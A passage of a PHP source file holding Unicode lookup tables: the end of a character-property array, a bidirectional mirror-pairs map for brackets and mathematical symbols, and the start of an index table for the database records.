5, 0, 31], [13, 0, 0, 0, 5, 0, 31], [7, 0, 0, 0, 5, 0, 31], [6, 0, 0, 0, 5, 0, 31], [12, 228, 13, 0, 5, 0, 31], [7, 0, 0, 0, 5, 0, 45], [12, 0, 13, 0, 5, 0, 45], [10, 0, 0, 0, 5, 0, 45], [12, 222, 13, 0, 5, 0, 45], [12, 230, 13, 0, 5, 0, 45], [12, 220, 13, 0, 5, 0, 45], [26, 0, 18, 0, 5, 0, 45], [21, 0, 18, 0, 5, 0, 45], [13, 0, 0, 0, 5, 0, 45], [7, 0, 0, 0, 5, 0, 46], [7, 0, 0, 0, 5, 0, 55], [10, 0, 0, 0, 5, 0, 55], [13, 0, 0, 0, 5, 0, 55], [15, 0, 0, 0, 5, 0, 55], [26, 0, 18, 0, 5, 0, 55], [26, 0, 18, 0, 5, 0, 30], [7, 0, 0, 0, 5, 0, 53], [12, 230, 13, 0, 5, 0, 53], [12, 220, 13, 0, 5, 0, 53], [10, 0, 0, 0, 5, 0, 53], [21, 0, 0, 0, 5, 0, 53], [7, 0, 0, 0, 5, 0, 77], [10, 0, 0, 0, 5, 0, 77], [12, 0, 13, 0, 5, 0, 77], [12, 9, 13, 0, 5, 0, 77], [12, 230, 13, 0, 5, 0, 77], [12, 220, 13, 0, 5, 0, 77], [13, 0, 0, 0, 5, 0, 77], [21, 0, 0, 0, 5, 0, 77], [6, 0, 0, 0, 5, 0, 77], [12, 0, 13, 0, 5, 0, 61], [10, 0, 0, 0, 5, 0, 61], [7, 0, 0, 0, 5, 0, 61], [12, 7, 13, 0, 5, 0, 61], [10, 9, 0, 0, 5, 0, 61], [13, 0, 0, 0, 5, 0, 61], [21, 0, 0, 0, 5, 0, 61], [26, 0, 0, 0, 5, 0, 61], [12, 230, 13, 0, 5, 0, 61], [12, 220, 13, 0, 5, 0, 61], [12, 0, 13, 0, 5, 0, 66], [10, 0, 0, 0, 5, 0, 66], [7, 0, 0, 0, 5, 0, 66], [10, 9, 0, 0, 5, 0, 66], [12, 9, 13, 0, 5, 0, 66], [13, 0, 0, 0, 5, 0, 66], [7, 0, 0, 0, 5, 0, 92], [12, 7, 13, 0, 5, 0, 92], [10, 0, 0, 0, 5, 0, 92], [12, 0, 13, 0, 5, 0, 92], [10, 9, 0, 0, 5, 0, 92], [21, 0, 0, 0, 5, 0, 92], [7, 0, 0, 0, 5, 0, 67], [10, 0, 0, 0, 5, 0, 67], [12, 0, 13, 0, 5, 0, 67], [12, 7, 13, 0, 5, 0, 67], [21, 0, 0, 0, 5, 0, 67], [13, 0, 0, 0, 5, 0, 67], [13, 0, 0, 0, 5, 0, 68], [7, 0, 0, 0, 5, 0, 68], [6, 0, 0, 0, 5, 0, 68], [21, 0, 0, 0, 5, 0, 68], [21, 0, 0, 0, 5, 0, 66], [12, 1, 13, 0, 5, 0, 40], [10, 0, 0, 0, 5, 0, 0], [7, 0, 0, 0, 5, 0, 0], [6, 0, 0, 0, 5, 0, 3], [12, 234, 13, 0, 5, 0, 40], [12, 214, 13, 0, 5, 0, 40], [12, 202, 13, 0, 5, 0, 40], [12, 233, 13, 0, 5, 0, 40], [8, 0, 0, 0, 5, 0, 2], [29, 0, 17, 0, 5, 0, 0], [1, 0, 14, 0, 5, 0, 0], [1, 0, 14, 0, 5, 0, 40], [1, 0, 0, 0, 5, 0, 0], [1, 0, 3, 0, 5, 0, 0], [17, 0, 18, 0, 4, 0, 0], [17, 0, 18, 0, 5, 0, 0], [20, 0, 18, 0, 4, 0, 0], [19, 0, 18, 0, 4, 0, 0], [22, 0, 18, 0, 5, 0, 0], [20, 0, 18, 0, 5, 0, 0], [27, 0, 17, 0, 5, 0, 0], [28, 0, 15, 0, 5, 0, 0], [1, 0, 1, 0, 5, 0, 0], [1, 0, 5, 0, 5, 0, 0], [1, 0, 7, 0, 5, 0, 0], [1, 0, 2, 0, 5, 0, 0], [1, 0, 6, 0, 5, 0, 0], [21, 0, 10, 0, 4, 0, 0], [21, 0, 10, 0, 5, 0, 0], [16, 0, 18, 0, 5, 0, 0], [25, 0, 12, 0, 5, 0, 0], [22, 0, 18, 1, 5, 0, 0], [18, 0, 18, 1, 5, 0, 0], [25, 0, 18, 0, 5, 0, 0], [15, 0, 8, 0, 5, 0, 0], [25, 0, 9, 0, 5, 0, 0], [6, 0, 0, 0, 4, 0, 1], [23, 0, 10, 0, 1, 0, 0], [11, 0, 13, 0, 5, 0, 40], [9, 0, 0, 0, 5, 0, 0], [5, 0, 0, 0, 4, 0, 0], [26, 0, 10, 0, 5, 0, 0], [25, 0, 18, 1, 5, 0, 0], [15, 0, 18, 0, 5, 0, 0], [14, 0, 0, 0, 4, 0, 1], [14, 0, 0, 0, 5, 0, 1], [25, 0, 18, 1, 4, 0, 0], [25, 0, 10, 0, 5, 0, 0], [22, 0, 18, 1, 2, 0, 0], [18, 0, 18, 1, 2, 0, 0], [26, 0, 0, 0, 4, 0, 0], [26, 0, 0, 0, 5, 0, 52], [9, 0, 0, 0, 5, 0, 56], [5, 0, 0, 0, 5, 0, 56], [26, 0, 18, 0, 5, 0, 54], [12, 230, 13, 0, 5, 0, 54], [21, 0, 18, 0, 5, 0, 54], [15, 0, 18, 0, 5, 0, 54], [5, 0, 0, 0, 5, 0, 23], [7, 0, 0, 0, 5, 0, 57], [6, 0, 0, 0, 5, 0, 57], [21, 0, 0, 0, 5, 0, 57], [12, 9, 13, 0, 5, 0, 57], [26, 0, 18, 0, 2, 0, 35], [26, 0, 18, 0, 2, 0, 0], [29, 0, 17, 0, 0, 0, 0], [21, 0, 18, 0, 2, 0, 0], [6, 0, 0, 0, 2, 0, 35], [7, 0, 0, 0, 2, 0, 0], [14, 0, 0, 0, 2, 0, 35], [17, 0, 18, 0, 2, 0, 0], [22, 0, 18, 0, 2, 0, 0], [18, 0, 18, 0, 2, 0, 0], [12, 218, 13, 0, 2, 0, 40], [12, 228, 13, 0, 2, 0, 40], [12, 232, 13, 0, 2, 0, 40], [12, 222, 13, 0, 2, 0, 40], [10, 224, 0, 0, 2, 0, 24], [6, 0, 0, 0, 2, 0, 0], [7, 0, 0, 0, 2, 0, 32], [12, 8, 13, 0, 2, 0, 40], [24, 0, 18, 0, 2, 0, 0], [6, 0, 0, 0, 2, 0, 32], [7, 0, 0, 0, 2, 0, 33], [6, 0, 0, 0, 2, 0, 33], [7, 0, 0, 0, 2, 0, 34], [26, 0, 0, 0, 2, 0, 0], [15, 0, 0, 0, 2, 0, 0], [26, 0, 0, 0, 2, 0, 24], [26, 0, 18, 0, 2, 0, 24], [15, 0, 0, 0, 4, 0, 0], [15, 0, 18, 0, 2, 0, 0], [26, 0, 0, 0, 2, 0, 33], [7, 0, 0, 0, 2, 0, 35], [2, 0, 18, 0, 2, 0, 35], [2, 0, 18, 0, 2, 0, 102], [7, 0, 0, 0, 2, 0, 36], [6, 0, 0, 0, 2, 0, 36], [26, 0, 18, 0, 2, 0, 36], [7, 0, 0, 0, 5, 0, 82], [6, 0, 0, 0, 5, 0, 82], [21, 0, 0, 0, 5, 0, 82], [7, 0, 0, 0, 5, 0, 69], [6, 0, 0, 0, 5, 0, 69], [21, 0, 18, 0, 5, 0, 69], [13, 0, 0, 0, 5, 0, 69], [7, 0, 0, 0, 5, 0, 3], [21, 0, 18, 0, 5, 0, 3], [6, 0, 18, 0, 5, 0, 3], [7, 0, 0, 0, 5, 0, 83], [14, 0, 0, 0, 5, 0, 83], [12, 230, 13, 0, 5, 0, 83], [21, 0, 0, 0, 5, 0, 83], [24, 0, 0, 0, 5, 0, 0], [7, 0, 0, 0, 5, 0, 58], [12, 0, 13, 0, 5, 0, 58], [12, 9, 13, 0, 5, 0, 58], [10, 0, 0, 0, 5, 0, 58], [26, 0, 18, 0, 5, 0, 58], [15, 0, 0, 0, 5, 0, 0], [7, 0, 0, 0, 5, 0, 64], [21, 0, 18, 0, 5, 0, 64], [10, 0, 0, 0, 5, 0, 70], [7, 0, 0, 0, 5, 0, 70], [12, 9, 13, 0, 5, 0, 70], [21, 0, 0, 0, 5, 0, 70], [13, 0, 0, 0, 5, 0, 70], [13, 0, 0, 0, 5, 0, 71], [7, 0, 0, 0, 5, 0, 71], [12, 0, 13, 0, 5, 0, 71], [12, 220, 13, 0, 5, 0, 71], [21, 0, 0, 0, 5, 0, 71], [7, 0, 0, 0, 5, 0, 72], [12, 0, 13, 0, 5, 0, 72], [10, 0, 0, 0, 5, 0, 72], [10, 9, 0, 0, 5, 0, 72], [21, 0, 0, 0, 5, 0, 72], [12, 0, 13, 0, 5, 0, 84], [10, 0, 0, 0, 5, 0, 84], [7, 0, 0, 0, 5, 0, 84], [12, 7, 13, 0, 5, 0, 84], [10, 9, 0, 0, 5, 0, 84], [21, 0, 0, 0, 5, 0, 84], [6, 0, 0, 0, 5, 0, 84], [13, 0, 0, 0, 5, 0, 84], [7, 0, 0, 0, 5, 0, 76], [12, 0, 13, 0, 5, 0, 76], [10, 0, 0, 0, 5, 0, 76], [13, 0, 0, 0, 5, 0, 76], [21, 0, 0, 0, 5, 0, 76], [6, 0, 0, 0, 5, 0, 22], [7, 0, 0, 0, 5, 0, 78], [12, 230, 13, 0, 5, 0, 78], [12, 220, 13, 0, 5, 0, 78], [6, 0, 0, 0, 5, 0, 78], [21, 0, 0, 0, 5, 0, 78], [7, 0, 0, 0, 5, 0, 85], [10, 0, 0, 0, 5, 0, 85], [12, 0, 13, 0, 5, 0, 85], [21, 0, 0, 0, 5, 0, 85], [6, 0, 0, 0, 5, 0, 85], [12, 9, 13, 0, 5, 0, 85], [13, 0, 0, 0, 5, 0, 85], [2, 0, 18, 0, 2, 0, 24], [4, 0, 0, 0, 5, 0, 102], [3, 0, 0, 0, 4, 0, 102], [2, 0, 18, 0, 4, 0, 102], [12, 26, 13, 0, 5, 0, 5], [25, 0, 9, 0, 5, 0, 5], [24, 0, 4, 0, 5, 0, 6], [18, 0, 18, 0, 5, 0, 0], [16, 0, 18, 0, 2, 0, 0], [21, 0, 12, 0, 2, 0, 0], [21, 0, 10, 0, 2, 0, 0], [25, 0, 9, 0, 2, 0, 0], [17, 0, 9, 0, 2, 0, 0], [25, 0, 18, 1, 2, 0, 0], [25, 0, 18, 0, 2, 0, 0], [23, 0, 10, 0, 2, 0, 0], [21, 0, 18, 0, 0, 0, 0], [21, 0, 10, 0, 0, 0, 0], [23, 0, 10, 0, 0, 0, 0], [22, 0, 18, 1, 0, 0, 0], [18, 0, 18, 1, 0, 0, 0], [25, 0, 9, 0, 0, 0, 0], [21, 0, 12, 0, 0, 0, 0], [17, 0, 9, 0, 0, 0, 0], [13, 0, 8, 0, 0, 0, 0], [25, 0, 18, 1, 0, 0, 0], [25, 0, 18, 0, 0, 0, 0], [9, 0, 0, 0, 0, 0, 1], [24, 0, 18, 0, 0, 0, 0], [16, 0, 18, 0, 0, 0, 0], [5, 0, 0, 0, 0, 0, 1], [21, 0, 18, 0, 1, 0, 0], [22, 0, 18, 1, 1, 0, 0], [18, 0, 18, 1, 1, 0, 0], [7, 0, 0, 0, 1, 0, 33], [6, 0, 0, 0, 1, 0, 0], [7, 0, 0, 0, 1, 0, 24], [26, 0, 18, 0, 0, 0, 0], [26, 0, 18, 0, 1, 0, 0], [25, 0, 18, 0, 1, 0, 0], [1, 0, 18, 0, 5, 0, 0], [7, 0, 0, 0, 5, 0, 47], [14, 0, 18, 0, 5, 0, 2], [15, 0, 18, 0, 5, 0, 2], [26, 0, 18, 0, 5, 0, 2], [7, 0, 0, 0, 5, 0, 73], [7, 0, 0, 0, 5, 0, 74], [7, 0, 0, 0, 5, 0, 37], [15, 0, 0, 0, 5, 0, 37], [7, 0, 0, 0, 5, 0, 38], [14, 0, 0, 0, 5, 0, 38], [7, 0, 0, 0, 5, 0, 48], [21, 0, 0, 0, 5, 0, 48], [7, 0, 0, 0, 5, 0, 59], [21, 0, 0, 0, 5, 0, 59], [14, 0, 0, 0, 5, 0, 59], [9, 0, 0, 0, 5, 0, 39], [5, 0, 0, 0, 5, 0, 39], [7, 0, 0, 0, 5, 0, 49], [7, 0, 0, 0, 5, 0, 50], [13, 0, 0, 0, 5, 0, 50], [7, 0, 3, 0, 5, 0, 51], [7, 0, 3, 0, 5, 0, 86], [21, 0, 3, 0, 5, 0, 86], [15, 0, 3, 0, 5, 0, 86], [7, 0, 3, 0, 5, 0, 63], [15, 0, 3, 0, 5, 0, 63], [21, 0, 18, 0, 5, 0, 63], [7, 0, 3, 0, 5, 0, 75], [21, 0, 3, 0, 5, 0, 75], [7, 0, 3, 0, 5, 0, 97], [7, 0, 3, 0, 5, 0, 96], [7, 0, 3, 0, 5, 0, 60], [12, 0, 13, 0, 5, 0, 60], [12, 220, 13, 0, 5, 0, 60], [12, 230, 13, 0, 5, 0, 60], [12, 1, 13, 0, 5, 0, 60], [12, 9, 13, 0, 5, 0, 60], [15, 0, 3, 0, 5, 0, 60], [21, 0, 3, 0, 5, 0, 60], [7, 0, 3, 0, 5, 0, 87], [15, 0, 3, 0, 5, 0, 87], [21, 0, 3, 0, 5, 0, 87], [7, 0, 3, 0, 5, 0, 79], [21, 0, 18, 0, 5, 0, 79], [7, 0, 3, 0, 5, 0, 88], [15, 0, 3, 0, 5, 0, 88], [7, 0, 3, 0, 5, 0, 89], [15, 0, 3, 0, 5, 0, 89], [7, 0, 3, 0, 5, 0, 90], [15, 0, 11, 0, 5, 0, 6], [10, 0, 0, 0, 5, 0, 93], [12, 0, 13, 0, 5, 0, 93], [7, 0, 0, 0, 5, 0, 93], [12, 9, 13, 0, 5, 0, 93], [21, 0, 0, 0, 5, 0, 93], [15, 0, 18, 0, 5, 0, 93], [13, 0, 0, 0, 5, 0, 93], [12, 0, 13, 0, 5, 0, 91], [10, 0, 0, 0, 5, 0, 91], [7, 0, 0, 0, 5, 0, 91], [12, 9, 13, 0, 5, 0, 91], [12, 7, 13, 0, 5, 0, 91], [21, 0, 0, 0, 5, 0, 91], [1, 0, 0, 0, 5, 0, 91], [7, 0, 0, 0, 5, 0, 100], [13, 0, 0, 0, 5, 0, 100], [12, 230, 13, 0, 5, 0, 95], [7, 0, 0, 0, 5, 0, 95], [12, 0, 13, 0, 5, 0, 95], [10, 0, 0, 0, 5, 0, 95], [12, 9, 13, 0, 5, 0, 95], [13, 0, 0, 0, 5, 0, 95], [21, 0, 0, 0, 5, 0, 95], [12, 0, 13, 0, 5, 0, 99], [10, 0, 0, 0, 5, 0, 99], [7, 0, 0, 0, 5, 0, 99], [10, 9, 0, 0, 5, 0, 99], [21, 0, 0, 0, 5, 0, 99], [13, 0, 0, 0, 5, 0, 99], [7, 0, 0, 0, 5, 0, 101], [12, 0, 13, 0, 5, 0, 101], [10, 0, 0, 0, 5, 0, 101], [10, 9, 0, 0, 5, 0, 101], [12, 7, 13, 0, 5, 0, 101], [13, 0, 0, 0, 5, 0, 101], [7, 0, 0, 0, 5, 0, 62], [14, 0, 0, 0, 5, 0, 62], [21, 0, 0, 0, 5, 0, 62], [7, 0, 0, 0, 5, 0, 80], [7, 0, 0, 0, 5, 0, 98], [10, 0, 0, 0, 5, 0, 98], [12, 0, 13, 0, 5, 0, 98], [6, 0, 0, 0, 5, 0, 98], [10, 216, 0, 0, 5, 0, 0], [10, 226, 0, 0, 5, 0, 0], [12, 230, 13, 0, 5, 0, 2], [25, 0, 0, 0, 5, 0, 0], [13, 0, 8, 0, 5, 0, 0], [26, 0, 0, 0, 2, 0, 32], ]; /* Mirror unicode characters. Bidirectional Algorithm, at http://www.unicode.org/unicode/reports/tr9/ */ public static $mirror_pairs = [ 40 => 41, 41 => 40, 60 => 62, 62 => 60, 91 => 93, 93 => 91, 123 => 125, 125 => 123, 171 => 187, 187 => 171, 3898 => 3899, 3899 => 3898, 3900 => 3901, 3901 => 3900, 5787 => 5788, 5788 => 5787, 8249 => 8250, 8250 => 8249, 8261 => 8262, 8262 => 8261, 8317 => 8318, 8318 => 8317, 8333 => 8334, 8334 => 8333, 8712 => 8715, 8713 => 8716, 8714 => 8717, 8715 => 8712, 8716 => 8713, 8717 => 8714, 8725 => 10741, 8764 => 8765, 8765 => 8764, 8771 => 8909, 8786 => 8787, 8787 => 8786, 8788 => 8789, 8789 => 8788, 8804 => 8805, 8805 => 8804, 8806 => 8807, 8807 => 8806, 8808 => 8809, 8809 => 8808, 8810 => 8811, 8811 => 8810, 8814 => 8815, 8815 => 8814, 8816 => 8817, 8817 => 8816, 8818 => 8819, 8819 => 8818, 8820 => 8821, 8821 => 8820, 8822 => 8823, 8823 => 8822, 8824 => 8825, 8825 => 8824, 8826 => 8827, 8827 => 8826, 8828 => 8829, 8829 => 8828, 8830 => 8831, 8831 => 8830, 8832 => 8833, 8833 => 8832, 8834 => 8835, 8835 => 8834, 8836 => 8837, 8837 => 8836, 8838 => 8839, 8839 => 8838, 8840 => 8841, 8841 => 8840, 8842 => 8843, 8843 => 8842, 8847 => 8848, 8848 => 8847, 8849 => 8850, 8850 => 8849, 8856 => 10680, 8866 => 8867, 8867 => 8866, 8870 => 10974, 8872 => 10980, 8873 => 10979, 8875 => 10981, 8880 => 8881, 8881 => 8880, 8882 => 8883, 8883 => 8882, 8884 => 8885, 8885 => 8884, 8886 => 8887, 8887 => 8886, 8905 => 8906, 8906 => 8905, 8907 => 8908, 8908 => 8907, 8909 => 8771, 8912 => 8913, 8913 => 8912, 8918 => 8919, 8919 => 8918, 8920 => 8921, 8921 => 8920, 8922 => 8923, 8923 => 8922, 8924 => 8925, 8925 => 8924, 8926 => 8927, 8927 => 8926, 8928 => 8929, 8929 => 8928, 8930 => 8931, 8931 => 8930, 8932 => 8933, 8933 => 8932, 8934 => 8935, 8935 => 8934, 8936 => 8937, 8937 => 8936, 8938 => 8939, 8939 => 8938, 8940 => 8941, 8941 => 8940, 8944 => 8945, 8945 => 8944, 8946 => 8954, 8947 => 8955, 8948 => 8956, 8950 => 8957, 8951 => 8958, 8954 => 8946, 8955 => 8947, 8956 => 8948, 8957 => 8950, 8958 => 8951, 8968 => 8969, 8969 => 8968, 8970 => 8971, 8971 => 8970, 9001 => 9002, 9002 => 9001, 10088 => 10089, 10089 => 10088, 10090 => 10091, 10091 => 10090, 10092 => 10093, 10093 => 10092, 10094 => 10095, 10095 => 10094, 10096 => 10097, 10097 => 10096, 10098 => 10099, 10099 => 10098, 10100 => 10101, 10101 => 10100, 10179 => 10180, 10180 => 10179, 10181 => 10182, 10182 => 10181, 10184 => 10185, 10185 => 10184, 10187 => 10189, 10189 => 10187, 10197 => 10198, 10198 => 10197, 10205 => 10206, 10206 => 10205, 10210 => 10211, 10211 => 10210, 10212 => 10213, 10213 => 10212, 10214 => 10215, 10215 => 10214, 10216 => 10217, 10217 => 10216, 10218 => 10219, 10219 => 10218, 10220 => 10221, 10221 => 10220, 10222 => 10223, 10223 => 10222, 10627 => 10628, 10628 => 10627, 10629 => 10630, 10630 => 10629, 10631 => 10632, 10632 => 10631, 10633 => 10634, 10634 => 10633, 10635 => 10636, 10636 => 10635, 10637 => 10640, 10638 => 10639, 10639 => 10638, 10640 => 10637, 10641 => 10642, 10642 => 10641, 10643 => 10644, 10644 => 10643, 10645 => 10646, 10646 => 10645, 10647 => 10648, 10648 => 10647, 10680 => 8856, 10688 => 10689, 10689 => 10688, 10692 => 10693, 10693 => 10692, 10703 => 10704, 10704 => 10703, 10705 => 10706, 10706 => 10705, 10708 => 10709, 10709 => 10708, 10712 => 10713, 10713 => 10712, 10714 => 10715, 10715 => 10714, 10741 => 8725, 10744 => 10745, 10745 => 10744, 10748 => 10749, 10749 => 10748, 10795 => 10796, 10796 => 10795, 10797 => 10798, 10798 => 10797, 10804 => 10805, 10805 => 10804, 10812 => 10813, 10813 => 10812, 10852 => 10853, 10853 => 10852, 10873 => 10874, 10874 => 10873, 10877 => 10878, 10878 => 10877, 10879 => 10880, 10880 => 10879, 10881 => 10882, 10882 => 10881, 10883 => 10884, 10884 => 10883, 10891 => 10892, 10892 => 10891, 10897 => 10898, 10898 => 10897, 10899 => 10900, 10900 => 10899, 10901 => 10902, 10902 => 10901, 10903 => 10904, 10904 => 10903, 10905 => 10906, 10906 => 10905, 10907 => 10908, 10908 => 10907, 10913 => 10914, 10914 => 10913, 10918 => 10919, 10919 => 10918, 10920 => 10921, 10921 => 10920, 10922 => 10923, 10923 => 10922, 10924 => 10925, 10925 => 10924, 10927 => 10928, 10928 => 10927, 10931 => 10932, 10932 => 10931, 10939 => 10940, 10940 => 10939, 10941 => 10942, 10942 => 10941, 10943 => 10944, 10944 => 10943, 10945 => 10946, 10946 => 10945, 10947 => 10948, 10948 => 10947, 10949 => 10950, 10950 => 10949, 10957 => 10958, 10958 => 10957, 10959 => 10960, 10960 => 10959, 10961 => 10962, 10962 => 10961, 10963 => 10964, 10964 => 10963, 10965 => 10966, 10966 => 10965, 10974 => 8870, 10979 => 8873, 10980 => 8872, 10981 => 8875, 10988 => 10989, 10989 => 10988, 10999 => 11000, 11000 => 10999, 11001 => 11002, 11002 => 11001, 11778 => 11779, 11779 => 11778, 11780 => 11781, 11781 => 11780, 11785 => 11786, 11786 => 11785, 11788 => 11789, 11789 => 11788, 11804 => 11805, 11805 => 11804, 11808 => 11809, 11809 => 11808, 11810 => 11811, 11811 => 11810, 11812 => 11813, 11813 => 11812, 11814 => 11815, 11815 => 11814, 11816 => 11817, 11817 => 11816, 12296 => 12297, 12297 => 12296, 12298 => 12299, 12299 => 12298, 12300 => 12301, 12301 => 12300, 12302 => 12303, 12303 => 12302, 12304 => 12305, 12305 => 12304, 12308 => 12309, 12309 => 12308, 12310 => 12311, 12311 => 12310, 12312 => 12313, 12313 => 12312, 12314 => 12315, 12315 => 12314, 65113 => 65114, 65114 => 65113, 65115 => 65116, 65116 => 65115, 65117 => 65118, 65118 => 65117, 65124 => 65125, 65125 => 65124, 65288 => 65289, 65289 => 65288, 65308 => 65310, 65310 => 65308, 65339 => 65341, 65341 => 65339, 65371 => 65373, 65373 => 65371, 65375 => 65376, 65376 => 65375, 65378 => 65379, 65379 => 65378, ]; /* index tables for the database records */ private static $index0 = [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 54, 52, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 55, 56, 57, 57, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 67, 68, 69, 70, 70, 71, 69, 70, 70, 72, 73, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 70, 70, 70, 88, 89, 90, 91, 92, 70, 93, 70, 94, 95, 70, 70, 70, 70, 96, 70, 70, 70, 70, 70, 70, 70, 70, 70, 97, 97, 97, 98, 99, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 100, 100, 100, 100, 101, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 102, 102, 103, 70, 70, 70, 70, 104, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 105, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 106, 107, 108, 109, 110, 111, 112, 113, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 114, 70, 115, 116, 117, 118, 119, 120, 121, 122, 70, 70, 70, 70, 70, 70, 70, 70, 52, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 123, 52, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 124, 125, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 76, 76, 127, 126, 126, 126, 126, 128, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 128, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 